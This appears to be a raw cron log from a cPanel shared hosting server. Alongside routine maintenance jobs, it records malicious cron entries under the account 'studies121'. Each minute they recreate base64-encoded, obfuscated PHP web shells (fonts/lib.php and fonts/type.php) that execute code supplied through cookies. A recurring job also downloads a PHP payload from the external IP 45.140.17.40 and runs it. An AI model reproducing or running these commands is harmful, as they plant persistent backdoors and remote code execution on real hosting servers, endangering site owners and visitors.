Sep  7 08:25:01 ip-184-168-122-23 CROND[24480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:25:01 ip-184-168-122-23 CROND[24479]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  7 08:25:01 ip-184-168-122-23 CROND[24483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:25:01 ip-184-168-122-23 CROND[24481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:25:01 ip-184-168-122-23 CROND[24487]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 08:25:01 ip-184-168-122-23 CROND[24484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:25:01 ip-184-168-122-23 CROND[24482]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 08:26:01 ip-184-168-122-23 CROND[24614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:26:01 ip-184-168-122-23 CROND[24617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:26:01 ip-184-168-122-23 CROND[24615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:26:01 ip-184-168-122-23 CROND[24616]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:26:01 ip-184-168-122-23 CROND[24618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:26:01 ip-184-168-122-23 CROND[24619]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  7 08:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  7 08:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  7 08:27:01 ip-184-168-122-23 CROND[24803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:27:01 ip-184-168-122-23 CROND[24804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:27:01 ip-184-168-122-23 CROND[24805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:27:01 ip-184-168-122-23 CROND[24806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:28:02 ip-184-168-122-23 CROND[24887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:28:02 ip-184-168-122-23 CROND[24888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:28:02 ip-184-168-122-23 CROND[24890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:28:02 ip-184-168-122-23 CROND[24889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:28:02 ip-184-168-122-23 CROND[24891]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:29:01 ip-184-168-122-23 CROND[25004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:29:01 ip-184-168-122-23 CROND[25006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:29:01 ip-184-168-122-23 CROND[25008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:29:01 ip-184-168-122-23 CROND[25009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:30:01 ip-184-168-122-23 CROND[25198]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  7 08:30:01 ip-184-168-122-23 CROND[25201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:30:01 ip-184-168-122-23 CROND[25204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:30:01 ip-184-168-122-23 CROND[25205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:30:01 ip-184-168-122-23 CROND[25206]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 08:30:01 ip-184-168-122-23 CROND[25203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:30:01 ip-184-168-122-23 CROND[25207]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 08:30:01 ip-184-168-122-23 CROND[25208]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 08:30:01 ip-184-168-122-23 CROND[25202]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:31:01 ip-184-168-122-23 CROND[25333]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:31:01 ip-184-168-122-23 CROND[25335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:31:01 ip-184-168-122-23 CROND[25336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:31:01 ip-184-168-122-23 CROND[25337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:31:01 ip-184-168-122-23 CROND[25338]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 08:32:01 ip-184-168-122-23 CROND[25465]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:32:01 ip-184-168-122-23 CROND[25467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:32:01 ip-184-168-122-23 CROND[25470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:32:01 ip-184-168-122-23 CROND[25468]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:32:01 ip-184-168-122-23 CROND[25469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:33:01 ip-184-168-122-23 CROND[25567]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:33:01 ip-184-168-122-23 CROND[25568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:33:01 ip-184-168-122-23 CROND[25570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:33:01 ip-184-168-122-23 CROND[25572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:34:01 ip-184-168-122-23 CROND[25682]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:34:01 ip-184-168-122-23 CROND[25685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:34:01 ip-184-168-122-23 CROND[25684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:34:01 ip-184-168-122-23 CROND[25687]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:34:01 ip-184-168-122-23 CROND[25688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:35:01 ip-184-168-122-23 CROND[25915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:35:01 ip-184-168-122-23 CROND[25918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:35:01 ip-184-168-122-23 CROND[25917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:35:01 ip-184-168-122-23 CROND[25920]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 08:35:01 ip-184-168-122-23 CROND[25924]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 08:35:01 ip-184-168-122-23 CROND[25922]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 08:35:01 ip-184-168-122-23 CROND[25923]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 08:35:01 ip-184-168-122-23 CROND[25925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:36:01 ip-184-168-122-23 CROND[26112]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:36:01 ip-184-168-122-23 CROND[26114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:36:01 ip-184-168-122-23 CROND[26115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:36:01 ip-184-168-122-23 CROND[26116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
